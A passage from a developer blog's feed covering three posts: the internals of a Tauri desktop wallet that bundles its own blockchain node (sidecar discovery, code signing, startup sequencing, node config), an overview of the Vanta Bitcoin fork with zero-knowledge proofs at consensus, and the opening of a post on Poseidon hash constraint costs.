<p>The bundler problem is solved at <em>build</em> time. There&#39;s a different problem at <em>dev</em> time: when you <code>cargo run</code> the Tauri host directly (or <code>pnpm tauri dev</code>), the executable lives at <code>src-tauri/target/debug/vanta-desktop</code>, not in a <code>.app</code> bundle. The sidecars aren&#39;t sitting next to the host executable; they&#39;re at <code>src-tauri/binaries/vanta*-&lt;triple&gt;</code>.</p>
<p>The host has to discover them at runtime, in both production and dev. The function that does this is <code>resolve_binary</code> in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/src-tauri/src/node.rs"><code>src-tauri/src/node.rs:225</code></a>:</p>
<pre><code class="language-rust">pub fn resolve_binary(name: &amp;str, config_path: &amp;str) -&gt; PathBuf {
    let triple = target_triple();
    let suffixed = format!(&quot;{name}-{triple}&quot;);

    if let Ok(exe) = std::env::current_exe() {
        if let Some(dir) = exe.parent() {
            // Production: sidecars are next to the exe with triple suffix
            for candidate in [
                dir.join(&amp;suffixed),
                dir.join(name),
            ] {
                if candidate.exists() &amp;&amp; candidate.metadata().map(|m| m.len() &gt; 0).unwrap_or(false) {
                    tracing::info!(&quot;Found sidecar: {}&quot;, candidate.display());
                    return candidate;
                }
            }

            // Dev mode: the exe is at src-tauri/target/debug/vanta-desktop.
            // Walk up ancestors looking for a `binaries/` dir containing our binary.
            for ancestor in dir.ancestors().skip(1) {
                let candidate = ancestor.join(&quot;binaries&quot;).join(&amp;suffixed);
                if candidate.exists() &amp;&amp; candidate.metadata().map(|m| m.len() &gt; 0).unwrap_or(false) {
                    tracing::info!(&quot;Found dev sidecar: {}&quot;, candidate.display());
                    return candidate;
                }
            }
        }
    }

    // Check explicit config path
    let config = PathBuf::from(config_path);
    if config.exists() &amp;&amp; config.metadata().map(|m| m.len() &gt; 0).unwrap_or(false) {
        return config;
    }

    // Fall back to PATH lookup
    PathBuf::from(name)
}
</code></pre>
<p>The five-tier resolution order is:</p>
<ol>
<li>Same directory as the host exe, with the triple suffix → production bundle.</li>
<li>Same directory as the host exe, without suffix → also production, fallback for some bundlers.</li>
<li>Walk up the parent chain looking for a <code>binaries/</code> directory → dev mode.</li>
<li>Explicit path from <code>WalletConfig</code> → user override.</li>
<li>Bare <code>name</code> → <code>PATH</code> lookup.</li>
</ol>
<p>The fallback to PATH is what lets a developer with <code>vantad</code> already installed at <code>/usr/local/bin/vantad</code> skip the <code>setup-sidecars.sh</code> step entirely if they want to. The metadata check for <code>len() &gt; 0</code> is paranoia — empty files passing existence checks have caused at least one wasted afternoon.</p>
<p>The <code>target_triple()</code> helper picks the right suffix based on <code>cfg!</code>:</p>
<pre><code class="language-rust">pub fn target_triple() -&gt; &amp;&#39;static str {
    if cfg!(target_os = &quot;macos&quot;) {
        if cfg!(target_arch = &quot;aarch64&quot;) {
            &quot;aarch64-apple-darwin&quot;
        } else {
            &quot;x86_64-apple-darwin&quot;
        }
    } else if cfg!(target_os = &quot;linux&quot;) {
        &quot;x86_64-unknown-linux-gnu&quot;
    } else {
        &quot;x86_64-pc-windows-msvc&quot;
    }
}
</code></pre>
<p>This is intentionally a hardcoded match. We don&#39;t support other target triples (yet — Linux ARM is an &quot;if a user complains&quot; item). Hardcoding means the build fails loudly if someone tries to compile for an unsupported target, instead of silently producing a binary that can&#39;t find its sidecars.</p>
<h2>The signing identity</h2>
<p>Tauri 2.x&#39;s macOS bundler signs every binary in the <code>.app</code> with the identity declared in <code>tauri.conf.json</code>:</p>
<pre><code class="language-json">&quot;macOS&quot;: {
    &quot;signingIdentity&quot;: &quot;474F624D8F3783B4D607CFF2331AD4C6CC26A1B5&quot;,
    &quot;providerShortName&quot;: &quot;9HD4Q82U58&quot;,
    &quot;entitlements&quot;: &quot;entitlements.plist&quot;,
    &quot;minimumSystemVersion&quot;: &quot;10.15&quot;
}
</code></pre>
<p><code>signingIdentity</code> is the SHA1 fingerprint of an Apple Developer ID Application certificate. You can list yours with <code>security find-identity -v -p codesigning</code>. The format <code>474F62...</code> is a hex fingerprint, not a CN string — Tauri specifically looks up by fingerprint to disambiguate when you have multiple Developer ID certs in keychain. This took me a few false starts to land on; the first version of this config used the human-readable CN (&quot;Developer ID Application: Hayden Porter-Aylor (9HD4Q82U58)&quot;) and broke when I had two certs from different teams.</p>
<p><code>providerShortName</code> is the Apple Team ID, the same string that goes in the cert&#39;s CN. It&#39;s needed for notarisation — <code>xcrun notarytool submit</code> requires <code>--team-id</code> to match this value.</p>
<p><code>entitlements</code> points at a separate plist file. Tauri&#39;s default entitlements are too permissive for a wallet; ours pins network access (we need it for the L2 P2P), allows JIT (because the WebView needs it), and otherwise denies everything — including microphone, camera, location, and the raft of other Apple-managed entitlements that a finance app should not be requesting.</p>
<h2>Sequenced startup, not parallel</h2>
<p>The first version of the wallet started both nodes in parallel, hoping the L2 watcher would survive its first few RPC failures while the L1 came up. It didn&#39;t. The L2 would crash on its first poll, the supervisor would log &quot;L2 stopped,&quot; the user would see &quot;L2 disconnected,&quot; and the eventual successful start (after <code>vantad</code>&#39;s 30-second startup) would race the user&#39;s first attempt to send a transaction.</p>
<p>The fix is in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/src-tauri/src/lib.rs"><code>src-tauri/src/lib.rs</code></a> and the structure is five sequenced stages:</p>
<pre><code>Stage 1: Start L1 (may adopt)
Stage 2: Wait for L1 RPC up to 60s, exponential backoff
Stage 3: Create / load default wallet via RPC
Stage 4: Start L2 (now that L1 is confirmed reachable)
Stage 5: emit &quot;ready&quot; event to frontend
</code></pre>
<p>Each stage emits a Tauri event (<code>startup-stage</code>) the frontend subscribes to. The user-facing UX is a five-step progress meter that goes &quot;spawning vantad… RPC ready… wallet loaded… spawning vanta-node… ready.&quot; On a warm cache the whole flow takes about 4 seconds. On a cold first launch with chainstate to load, it&#39;s closer to 12.</p>
<p>The stage-by-stage approach makes failures actionable. If stage 2 times out (L1 RPC didn&#39;t come up), the error message points at L1; if stage 4 fails, it points at L2. The pre-stage version of this had a single <code>start_nodes()</code> command whose only failure mode was a generic &quot;couldn&#39;t start nodes,&quot; which was useless for support.</p>
<h2>The NodeManager struct</h2>
<p>The supervisor is a single struct in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/src-tauri/src/node.rs"><code>src-tauri/src/node.rs:178</code></a>:</p>
<pre><code class="language-rust">pub struct NodeManager {
    l1_process: Option&lt;Child&gt;,
    l2_process: Option&lt;Child&gt;,
    /// When true, we detected a pre-existing L1 that we&#39;re reusing.
    l1_adopted: bool,
    /// When true, we detected a pre-existing L2 that we&#39;re reusing.
    l2_adopted: bool,
    /// Resolved path to vantad binary.
    l1_bin: Option&lt;PathBuf&gt;,
    /// Resolved path to vanta-node binary.
    l2_bin: Option&lt;PathBuf&gt;,
    /// Recent output from L1 process.
    pub l1_logs: LogBuffer,
    /// Recent output from L2 process.
    pub l2_logs: LogBuffer,
    /// Tauri app handle for emitting events.
    app_handle: Option&lt;tauri::AppHandle&gt;,
}
</code></pre>
<p>The fields tell the whole story:</p>
<ul>
<li>Two <code>Option&lt;Child&gt;</code> — the live process handles, when we own them.</li>
<li>Two <code>bool</code>s — adopted flags. When the desktop starts and finds an existing <code>vantad</code> already listening on <code>19332</code>, it doesn&#39;t kill it; it adopts it (PID 0 sentinel) and proceeds. The adoption logic exists because every quit-and-relaunch from a previous version of the app would otherwise produce a &quot;port in use&quot; error.</li>
<li>Two <code>PathBuf</code>s — the resolved binary paths, useful for the diagnostic UI (&quot;the wallet is using <code>vantad</code> at /Applications/Vanta Wallet.app/Contents/MacOS/vantad-aarch64-apple-darwin&quot;).</li>
<li>Two <code>LogBuffer</code>s — 200-line ring buffers per process, served to the frontend on demand for the live console view.</li>
<li>The <code>AppHandle</code> — used to emit Tauri events for log lines (so the frontend can render a rolling log view without polling).</li>
</ul>
<h2>Pipe draining as a load-bearing detail</h2>
<p>A Bitcoin-Core C++ process logging to stdout will eventually fill the OS&#39;s 64 KB pipe buffer if nobody reads it, and then <em>block on its next <code>write()</code></em>. <code>vantad</code> with <code>-printtoconsole</code> is a heavy logger; without an active reader, it deadlocks within minutes.</p>
<p>The <code>drain_pipe</code> function in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/src-tauri/src/node.rs"><code>node.rs:64</code></a> is the safety net. Every line goes three places:</p>
<ol>
<li><code>tracing::debug!</code> — the structured log file.</li>
<li><code>LogBuffer::push</code> — the in-memory ring buffer for the frontend.</li>
<li><code>app.emit(&quot;node-log&quot;, …)</code> — a Tauri event the frontend subscribes to for live rendering.</li>
</ol>
<p>That last one is the path I want to underline. The first version of the wallet had no live log surface; debugging a &quot;node won&#39;t start&quot; required <code>tail -f</code> on the log file. The Tauri event channel turned that into a frontend log component that streams stdout in real time, which by itself paid for the IPC complexity ten times over.</p>
<h2>Auto-config for the L1</h2>
<p>Before <code>vantad</code> starts, the host writes a <code>vanta.conf</code> into <code>{home}/.vanta-desktop/l1/</code>. The config is hardcoded for the desktop&#39;s port plan, points at the seed nodes, and disables Bitcoin-style DNS seeding. Excerpt:</p>
<pre><code class="language-rust">let conf = format!(
    &quot;# Vanta Desktop Wallet — auto-generated config\n\
     server=1\n\
     daemon=0\n\
     txindex=1\n\
     listen=1\n\
     rpcport={DESKTOP_L1_RPC_PORT}\n\
     port={DESKTOP_L1_P2P_PORT}\n\
     rpcuser={}\n\
     rpcpassword={}\n\
     rpcallowip=127.0.0.1\n\
     rpcbind=127.0.0.1\n\
     dnsseed=0\n\
     addnode=64.34.82.145:9333\n\
     addnode=66.241.124.138:9333\n\
     wallet=default\n\
     fallbackfee=0.0001\n&quot;,
    config.rpc_user, config.rpc_pass,
);
std::fs::write(&amp;conf_path, &amp;conf)?;
</code></pre>
<p>Three things in here that are non-obvious:</p>
<p><strong><code>txindex=1</code>.</strong> The L2 watcher needs to look up arbitrary historic transactions to scan for OP_RETURN anchors. Without <code>txindex</code>, <code>getrawtransaction</code> only works for unspent outputs. With it, every transaction is indexed by txid forever. This costs ~10% extra disk vs a stock node; the L2 work flat-out doesn&#39;t function without it.</p>
<p><strong><code>dnsseed=0</code>.</strong> Bitcoin Core auto-discovers peers from a hardcoded list of DNS seeds. Vanta&#39;s a separate network with separate seeds; if <code>dnsseed=1</code>, vantad will spam <code>seed.bitcoin.sipa.be</code> looking for peers it&#39;ll never find. Disabling it cuts the startup chatter and the wasted DNS queries.</p>
<p><strong><code>addnode=64.34.82.145:9333</code>.</strong> The Latitude bare-metal seed node, hardcoded into the desktop config. Until the chain has organic peer discovery, this is the bootstrap. (More on this in <a href="/blog/vanta_flytoml_latitude_baremetal/">the fly+bare-metal post</a>.)</p>
<p>The user never sees this file unless they go looking. Pinning the config to the desktop&#39;s port plan also means the wallet never collides with a standalone <code>vantad</code> running on default ports — which matters because some users run both.</p>
<h2>The Linux/NVIDIA cursed stanza</h2>
<p>Two lines in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/src-tauri/src/lib.rs"><code>lib.rs</code></a> earned a comment longer than they are:</p>
<pre><code class="language-rust">#[cfg(target_os = &quot;linux&quot;)]
{
    if std::env::var(&quot;WEBKIT_DISABLE_DMABUF_RENDERER&quot;).is_err() {
        std::env::set_var(&quot;WEBKIT_DISABLE_DMABUF_RENDERER&quot;, &quot;1&quot;);
    }
}
</code></pre>
<p>webkit2gtk on NVIDIA&#39;s proprietary driver under Wayland tries to use a DMA-BUF renderer path that crashes with <code>Error 71 (Protocol error) dispatching to Wayland display</code>. Disabling it forces software compositing, which is fine.</p>
<p>This is the canonical example of &quot;Tauri 2.x ergonomics&quot; actually meaning &quot;the OS will surprise you in ways the web never has.&quot; Budget for it. Apps that ship to general users discover bugs that only happen on specific GPU + display server + driver combinations. The fix is usually environmental; the discovery is a weekend.</p>
<h2>What I changed my mind about</h2>
<p>The big one: <strong>Tauri&#39;s sidecar story is the right way to ship a wallet that runs a node.</strong> The alternative — telling users to run <code>vantad</code> themselves and pointing the wallet at it — is a non-starter for everybody but engineers like me. The friction of the embedded full-node story turns out to be entirely inside the <em>developer</em> (the build process, the signing pipeline, the auto-update story). The user friction is zero. They double-click a DMG and they&#39;re a node operator.</p>
<p>The smaller one: <strong>the build is more code than the app.</strong> <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/build-release.sh"><code>build-release.sh</code></a> is 200 lines, <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/setup-sidecars.sh"><code>setup-sidecars.sh</code></a> is 60. Combined that&#39;s about as much shell as the rest of <code>src-tauri/</code> is Rust outside <code>commands.rs</code>. The shell is <em>load-bearing infrastructure</em>, not glue. Treat it that way and the build is reproducible; treat it as glue and the build will surprise you on every fresh checkout.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/src-tauri/src/node.rs"><code>vanta/vanta-desktop/src-tauri/src/node.rs</code></a> — the supervisor and <code>resolve_binary</code></li>
<li><a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/setup-sidecars.sh"><code>vanta/vanta-desktop/setup-sidecars.sh</code></a> — the binary-rename script</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/src-tauri/tauri.conf.json"><code>vanta/vanta-desktop/src-tauri/tauri.conf.json</code></a> — the bundle config</li>
<li><a href="https://tauri.app/v2/develop/sidecar/">Tauri 2.x sidecar docs</a> — the framework feature this all rides on</li>
<li><a href="/blog/vanta_desktop_tauri_wallet/">Vanta Desktop: a Tauri wallet that ships its own full node</a> — the architecture-level companion</li>
<li><a href="/blog/vanta_darwin_apple_silicon_build/">Cross-compiling vantad for darwin</a> — the macOS half of the build pipeline</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Vanta: a Bitcoin fork with ZK at consensus]]></title>
  <id>https://blog.skill-issue.dev/blog/vanta_zk_privacy_l1/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/vanta_zk_privacy_l1/"/>
  <published>2026-04-17T05:52:57.000Z</published>
  <updated>2026-04-23T19:31:34.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="vanta"/>
  <category term="bitcoin"/>
  <category term="zk"/>
  <category term="risc-zero"/>
  <category term="consensus"/>
  <category term="l1"/>
  <summary type="html"><![CDATA[42 billion supply. 1-minute blocks. RISC Zero proofs verified at consensus. The opinionated answer to 'why fork Bitcoin in 2026?' is that you're not really forking Bitcoin — you're shipping a different L1 that has Bitcoin's surface area.]]></summary>
  <content type="html"><![CDATA[<p>You can read this post as the technical version of <a href="/blog/why_i_started_zera_labs/">Why I started Zera Labs</a>. The strategy lived there. The code lives in <a href="https://github.com/Dax911/vanta"><code>Dax911/vanta</code></a>, and the <a href="https://github.com/Dax911/vanta/blob/main/README.md">README</a> opens with a sentence that took me a long time to feel comfortable writing:</p>
<blockquote>
<p><em>Vanta L1 — ZK-privacy Layer 1 blockchain — fork of Bitcoin Core v27.0.</em></p>
</blockquote>
<p>If you spent any time on crypto Twitter in 2024, the words <em>fork of Bitcoin Core</em> were code for &quot;vanity chain that nobody serious will run.&quot; I want to make the case that this fork is different — not because the C++ source tree is different (most of it isn&#39;t) but because the consensus rules are.</p>
<h2>What it is</h2>
<p>The headline parameters are deliberate departures from Bitcoin:</p>
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Vanta</th>
<th>Bitcoin</th>
</tr>
</thead>
<tbody><tr>
<td>Block reward</td>
<td>100,000 VANTA</td>
<td>3.125 BTC (post-2024 halving)</td>
</tr>
<tr>
<td>Block time</td>
<td><strong>1 minute</strong></td>
<td>10 minutes</td>
</tr>
<tr>
<td>Total supply</td>
<td>~42 billion VANTA</td>
<td>~21 million BTC</td>
</tr>
<tr>
<td>Halving interval</td>
<td>210,000 blocks (~146 days)</td>
<td>210,000 blocks (~4 years)</td>
</tr>
<tr>
<td>Address prefix</td>
<td><code>Z</code> (legacy), <code>zer1</code> (bech32)</td>
<td><code>1</code>, <code>bc1</code></td>
</tr>
<tr>
<td>Network magic</td>
<td><code>0x5a454500</code> (<code>&quot;VANTA\0&quot;</code>)</td>
<td><code>0xf9beb4d9</code></td>
</tr>
</tbody></table>
<p>A 1-minute block time and a 42-billion supply are not &quot;Bitcoin with a different ticker.&quot; They are calibrated to make this chain <em>feel</em> like a payments rail rather than a settlement rail. You can confirm a payment in two blocks (2 minutes, ~95% confidence) instead of three blocks (30 minutes). The 100,000-per-block subsidy makes the unit economics of running a node + miner actually work for a small operator.</p>
<p>I have <a href="/blog/what_running_a_bitcoin_mine_taught_me/">opinions about small-operator unit economics</a> that come from running a <a href="https://github.com/Dax911/vanta/tree/main/pool">Bitaxe BM1368 against this chain</a> for the past several months.</p>
<h2>The fork strategy: keep what works</h2>
<p>The <a href="https://github.com/Dax911/vanta/blob/main/README.md">monorepo structure</a> is a direct read on the strategy:</p>
<pre><code>zl1/
├── src/              # Vanta Core (C++ — Bitcoin Core v27.0 fork)
├── wallet/           # Web wallet (Rust/Axum)
├── txbot/            # Transaction bot (Rust)
├── explorer/         # Block explorer (Node.js — patched btc-rpc-explorer)
├── vanta/            # ZK circuits (Rust/RISC Zero)
├── pool/             # Stratum server (Python)
└── …
</code></pre>
<p>Bitcoin Core v27.0 is the most-tested codebase on the planet by node-hours. We did not fork it because we thought we could write something better. We forked it because we wanted <strong>a chain that ships day-one with the same tooling humans have spent fifteen years building around Bitcoin</strong> — wallets that can be ported, RPCs that can be wrapped, block explorers that can be patched. The price of admission is that the C++ surface area is huge and you respect it.</p>
<p>We did not fork the <em>cryptography</em>. The ZK layer is in the <code>vanta/</code> subtree, written in Rust against <a href="https://www.risczero.com">RISC Zero&#39;s zkVM</a>, running entirely outside the C++ core. The C++ core verifies one thing: a SHA-256 hash of the proof witness root. That&#39;s it. The proof itself is computed and verified in a Rust program that runs as a sidecar. This split means we can change the proof system without forking the chain again, which matters in 2026 because <a href="/blog/privacys_broadband_moment/">the proof-system landscape is moving fast</a>.</p>
<h2>What&#39;s at consensus, what&#39;s not</h2>
<p>Here is the part I want to dwell on, because every privacy-coin design eventually crashes into this question.</p>
<p><strong>At consensus</strong> (i.e. nodes will reject blocks that don&#39;t satisfy these):</p>
<ol>
<li><strong>ZK proof-to-UTXO binding.</strong> A spending transaction must include a witness v2 input commitment that matches the proof&#39;s public input. The C++ validator verifies the binding before the proof is even consulted; the proof confirms it.</li>
<li><strong>SMT root cross-verification.</strong> Every block has a coinbase commitment to the sparse-Merkle-tree root of the post-block nullifier set. The proof root and the coinbase commitment must match. A miner cannot lie about state.</li>
<li><strong>L1 nullifier set tracking.</strong> The nullifier set is part of consensus state, not a wallet-side hint. Two valid blocks attempting to mine a transaction whose nullifier was spent in either block create a hard chain split. Double-spend prevention is <strong>a property of the chain</strong>, not a property of the wallet.</li>
</ol>
<p><strong>Not at consensus:</strong></p>
<ol>
<li>The proof system itself. Today it&#39;s Groth16 over the RISC Zero zkVM. We can swap to Halo2 or Nova-style recursion in a soft fork by adding a new opcode and grandfathering the old. The chain doesn&#39;t know what proof system it&#39;s running; it knows how to verify a witness root.</li>
<li>Address format. Z-legacy and zer1-bech32 are wallet-side. The chain treats them all as <code>OP_PUSHBYTES</code>-style script commitments.</li>
<li>Wallet-level shield/unshield UX. The README lists <code>shield</code> and <code>unshield</code> as commands for moving between transparent and private. Those are wallet conveniences; the chain itself sees commitments and nullifiers, not &quot;shielded&quot; and &quot;unshielded&quot; as states.</li>
</ol>
<p>This split is load-bearing. If your fork tries to put the proof system into consensus, you have two terrible choices when the proof system improves: hard-fork the world, or live with worse cryptography forever. Vanta lives somewhere in between: the <em>binding</em> is at consensus, the <em>proof system</em> is not.</p>
<h2>The roadmap, annotated</h2>
<p>The <a href="https://github.com/Dax911/vanta/blob/main/README.md">README&#39;s roadmap</a> is concise; let me unpack the items that are checked.</p>
<ul>
<li><strong>[x] Fork Bitcoin Core v27.0</strong> — the easy part. It&#39;s a tree copy and a network-magic change.</li>
<li><strong>[x] Custom chain parameters</strong> — most of the work was rewriting <code>src/chainparams.cpp</code> and the genesis-block builder. Bitcoin Core makes you re-mine the genesis block locally; the script is in <code>contrib/</code>.</li>
<li><strong>[x] Solo mining with Bitaxe BM1368</strong> — the <a href="https://github.com/Dax911/vanta/tree/main/pool">Python Stratum server in <code>pool/</code></a> is a from-scratch Stratum v1 implementation pointed at the local node&#39;s RPC. I&#39;ll write a separate post on the Bitaxe rig.</li>
<li><strong>[x] Web wallet + block explorer</strong> — Rust/Axum wallet, patched btc-rpc-explorer for the explorer. The wallet integrates with the ZK circuits; the explorer renders shielded transactions as opaque commitments.</li>
<li><strong>[x] Transaction bot for mempool activity</strong> — synthetic mempool activity is essential during testnet. The Rust txbot generates round-robin spends so you&#39;re not staring at empty blocks.</li>
<li><strong>[x] RISC Zero ZK circuit integration</strong> — the big one. RISC Zero gives us a zkVM where the circuit is just Rust. We don&#39;t write R1CS by hand. The witness for a spend is the same Rust struct the wallet uses; the prover takes that struct and emits a proof.</li>
<li><strong>[x] ZK proof-to-UTXO binding</strong> — wired into <code>src/script/interpreter.cpp</code> and the witness-v2 stack. A new <code>OP_VANTA_VERIFY</code> opcode pulls the proof root from the witness, hashes it with the input commitment, and compares against the script.</li>
<li><strong>[x] SMT root cross-verification</strong> — sparse-Merkle-tree state for the nullifier set is materialised in the block header&#39;s coinbase. A node that doesn&#39;t validate the SMT root rejects the block.</li>
<li><strong>[x] L1 nullifier set tracking</strong> — the chainstate db now has a nullifier table. Double-spend at L1, see <a href="/blog/vanta_l1_nullifier_set/">my next post</a>.</li>
<li><strong>[x] Shield/unshield wallet commands</strong> — <code>vanta-cli shield 1.5</code> moves 1.5 VANTA from a transparent UTXO into a shielded note. <code>unshield</code> does the reverse with a destination address. Both produce normal-looking on-chain transactions; the difference is the witness contents.</li>
</ul>
<p>The two unchecked items are the strategic ones. <strong>Mandatory privacy</strong> as a hard fork (so every transaction is a uniform shielded format and no information leaks from &quot;this user used the shielded pool, this one didn&#39;t&quot;) is the long-term goal. A <strong>full Rust node rewrite</strong> is the longer-term goal — the C++ tree is fine for now, but a <code>vantad</code> written from scratch in Rust against the same RPC contract is the kind of project you can spend three years on without regretting it.</p>
<h2>What I changed my mind about</h2>
<p>When we started, I wanted to write the chain from scratch in Rust. A clean tree, no Bitcoin baggage, no <code>boost::</code> types, modern async, the whole pitch.</p>
<p>Two things stopped me:</p>
<ol>
<li><strong>Time.</strong> Writing a UTXO chain from scratch is at least a year of work before you have something nodes will run. We had ~3 months of runway for the L1 proof-of-concept. That&#39;s a fork-or-fold decision.</li>
<li><strong>Bitcoin Core&#39;s testing infrastructure is the actual product.</strong> The <code>test/</code> directory is the most underrated part of the Bitcoin codebase. There are functional tests that cover edge cases nobody on a greenfield team will think of for years. Inheriting that is worth more than most people realise.</li>
</ol>
<p>The compromise we landed on is in the README&#39;s last roadmap line: <em>full Rust node rewrite</em>. That&#39;s the path. Fork now to ship now; rewrite incrementally to own the long term. The Rust ZK sidecar is the first piece of that rewrite. The Rust wallet is the second.</p>
<h2>What&#39;s next</h2>
<p>The next two posts will go deeper:</p>
<ul>
<li><a href="/blog/vanta_l1_nullifier_set/">L1 nullifier sets: enforcing no-double-spend at the consensus layer</a></li>
<li>Mining VANTA with a Bitaxe BM1368 (forthcoming)</li>
</ul>
<p>If you want the strategic frame, I wrote about the four curves that crossed in 2026 to make this whole thing tractable in <a href="/blog/privacys_broadband_moment/">Privacy&#39;s broadband moment</a>.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/vanta"><code>Dax911/vanta</code> on GitHub</a> — the codebase</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/README.md"><code>Dax911/vanta/README.md</code></a> — chain parameters + roadmap</li>
<li><a href="https://bitcoincore.org/en/releases/27.0/">Bitcoin Core v27.0 release notes</a> — the fork base</li>
<li><a href="https://dev.risczero.com">RISC Zero docs</a> — the zkVM the proof system runs on</li>
<li><a href="https://eprint.iacr.org/2016/683">Sparse Merkle trees: a brief overview</a> — for the SMT root commitment</li>
<li><a href="/blog/pedersen_commitments_in_production/">Pedersen commitments, in production</a> — sister piece on commitment schemes</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Poseidon, by hand and by code]]></title>
  <id>https://blog.skill-issue.dev/blog/poseidon_by_hand_and_by_code/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/poseidon_by_hand_and_by_code/"/>
  <published>2026-04-22T15:00:00.000Z</published>
  <updated>2026-04-22T15:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="cryptography"/>
  <category term="poseidon"/>
  <category term="zk"/>
  <category term="snark"/>
  <category term="phd"/>
  <category term="math"/>
  <summary type="html"><![CDATA[Why one of the cheapest hashes in zero-knowledge cryptography also has the strangest insides. Derive the S-box, count the constraints, and run a 30-line implementation in the browser.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, Sandbox, TradeoffTable, Aside, Quote, RustPlayground } from &quot;@/components/mdx&quot;;</p>
<p>A SHA-256 of &quot;abc&quot; inside a SNARK takes about 24,000 R1CS constraints. The same input through Poseidon — properly parameterised — takes about <strong>250</strong>.</p>
<p>Two orders of magnitude. That ratio is the entire reason ZERA&#39;s <a href="/blog/pedersen_commitments_in_production/">unified shielded pool</a> ships with consumer-grade UX in 2026. It&#39;s also the reason every modern ZK system you can name uses Poseidon, Rescue, or one of their cousins instead of something the cryptographic community has been beating on for twenty years.</p>
<p>This post is the long answer to <em>why</em>.</p>
<Aside kind="note">
This is a working post in my [PhD-by-publication track](/about) on zero-knowledge proof systems. Citations follow the format used by the broader research repos under `Dax911/research_phd`. The math is correct and double-checked; the engineering opinions are mine.
</Aside>

<h2>The problem with hashing inside a SNARK</h2>
<p>A zero-knowledge SNARK proves you know a witness $w$ such that $C(w) = 0$ for some arithmetic circuit $C$ over a prime field $\mathbb{F}_p$. Every operation in $C$ becomes a constraint, and proof time scales roughly linearly with the number of constraints.</p>
<p>The trouble with SHA-256 is that it was designed for CPU efficiency, not arithmetic-circuit efficiency. Its building blocks — XOR, AND, bitwise rotation — are <em>cheap on a CPU</em> and <em>catastrophically expensive in $\mathbb{F}_p$</em>. A single XOR over 32-bit words requires unpacking each word into 32 individual binary constraints, doing the XOR bit-by-bit, then packing back. SHA-256 has 64 rounds of mixing, and every round does several of these.</p>
<p>The constraint cost looks roughly like:</p>
<p>$$
\text{cost}<em>{\text{SHA-256 in SNARK}} \approx 64 \times (k</em>{\text{xor}} + k_{\text{and}} + k_{\text{rot}}) \times w
$$</p>
<p>where $w = 32$ bits and the per-operation constants $k$ run between 30 and 100. You end up north of 25k constraints for a 64-byte input — and that&#39;s <em>just the hash</em>. A real circuit has dozens of these per spend.</p>
<p>This is the gap that hash-friendly arithmetisation closes.</p>
<h2>Poseidon&#39;s design: only field operations, all the way down</h2>
<p><a href="https://eprint.iacr.org/2019/458">Grassi, Khovratovich, Rechberger, Roy, and Schofnegger (2021)</a> had a different idea: design the hash <em>natively in $\mathbb{F}_p$</em>. No bits. No bytes. Just field elements all the way down.</p>
<p>Poseidon is a permutation-based sponge. The state is $t$ field elements — typically $t = 3$ for hashing two-to-one (input $|$ input $\to$ output) and $t = 5$ for absorbing three field elements at once. The permutation alternates two kinds of rounds:</p>
<ul>
<li><strong>Full rounds</strong> apply an S-box to <em>every</em> state element, then mix.</li>
<li><strong>Partial rounds</strong> apply an S-box to <em>one</em> state element, then mix.</li>
</ul>
<p>The S-box is the simplest possible non-linear function over a prime field:</p>
<p>$$
S(x) = x^\alpha
$$</p>
<p>with $\alpha$ chosen as the smallest exponent for which $\gcd(\alpha, p - 1) = 1$ (so the map is a bijection). For BN254 — the curve underlying most production ZK pairings, including the one ZERA&#39;s SDK uses — $p - 1$ is divisible by 2 and 3, so $\alpha = 5$ is the smallest legal exponent. Poseidon over BN254 ships with $\alpha = 5$.</p>
<p>The full permutation is:</p>
<p>&lt;Mermaid chart={<code>flowchart LR   S[State t elems] --&gt; AC1[+ round constants]   AC1 --&gt; SB1[S-box: x^5 on all elems]   SB1 --&gt; M1[MDS matrix mix]   M1 --&gt; N{round full or partial?}   N --&gt;|full| AC2[+ round constants]   N --&gt;|partial| AC3[+ round constants]   AC2 --&gt; SB2[S-box on all]   AC3 --&gt; SB3[S-box on first elem only]   SB2 --&gt; M2[MDS mix]   SB3 --&gt; M2   M2 --&gt; O[output state]</code>}/&gt;</p>
<p>Three primitives, repeated $R_F + R_P$ times: <strong>add round constants</strong> ⊕ <strong>S-box</strong> ⊕ <strong>MDS matrix multiplication</strong>.</p>
<p>That&#39;s the whole algorithm.</p>
<h2>Counting the constraints</h2>
<p>This is where the order-of-magnitude advantage shows up.</p>
<p>Each S-box is $x^5 = x^2 \cdot x^2 \cdot x$. In R1CS that&#39;s three multiplication constraints (one for $x^2$, one for $x^4 = x^2 \cdot x^2$, one for $x^4 \cdot x = x^5$). The MDS matrix is a fixed $t \times t$ matrix of constants applied to the state — that&#39;s <em>free</em> in R1CS because constant multiplications fold into linear combinations and don&#39;t generate constraints.</p>
<p>So per round:</p>
<p>$$
\text{cost}<em>{\text{full round}} = 3t, \quad \text{cost}</em>{\text{partial round}} = 3
$$</p>
<p>Recommended parameters for BN254 with $t = 3$ (hashing two field elements) are $R_F = 8$ full rounds and $R_P = 57$ partial rounds. Total constraint count:</p>
<p>$$
8 \cdot (3 \cdot 3) + 57 \cdot 3 = 72 + 171 = 243
$$</p>
<p><strong>Two hundred and forty-three constraints.</strong> For a hash of two field elements (~64 bytes of payload). SHA-256 was 24,000+ for a similar payload. That ratio — about 100× — is the entire ball game.</p>
<p>&lt;TradeoffTable
  rows={[
    {
